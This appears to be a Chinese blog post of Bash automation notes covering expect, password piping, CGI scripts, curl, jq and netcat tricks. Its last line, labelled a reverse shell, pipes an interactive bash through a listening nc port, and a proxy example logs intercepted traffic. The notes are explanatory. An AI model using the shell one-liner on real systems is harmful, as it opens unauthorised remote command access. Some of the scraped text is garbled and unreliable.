Bash自动化
2021-08-09 本文已影响0人
InsaneLoafer
自动化交互
- 批处理并不等于自动化
- 让交互程序实现非交互执行
- 借用第三方工具expect
自动输入方法.
-
<<
文档字符串。可以实现对序列化输入的操作自动化 - 管道方式
echo 'pasword' I passwd
- 去掉 sudo 密码提示,也可通过修改
sudoer
文件 - 去掉ssh密码,也可以通过添加认证
- expect
except
image.png实用命令
一-键搭建web网站
python2 -m CGIHTTPServer 8000
python3 -m http.server -cgi 8000
CGI-Bin技术
#!/ bin/ bash
echo "Content-type: text/html"
echo ""
curl http://www.baidu.com/s?$QUERY_STRING 2>/dev/null
- 把代码放到
cgi-bin
目录下,增加可执行权限 - 使用apache或者
python server
运行
处理post请求
cgi() {
echo -e "Content-type:text/plain\n\n"
echo $REQUEST_METHOD
if [ "$REQUEST METHOD" = "POST" ]; then
read -n $CONTENT_LENGTH post
echo $post
fi
}
curl网络请求
- get
- post
- cookie
jq
- 需要自行安装:https://stedolan.github.io/jq/manual/
- json数据处理
-
jq. | cat
管道处理 -
jq '.. | .name?'
提取所有的name
最强大的黑客工具nc
- 端口转发:
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
- 转发请求并修改内容
mkfifo /tmp/fifo
nc -lk 8080 < /tmp/fifo \
| sed -l -e 's/^Host.*/Host:site.baidu.com/' | tee -a /tmp/req.log \
| nc site.baidu.com 80 | tee -a /tmp/res > /tmp/fifo
- 反弹Shell:
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo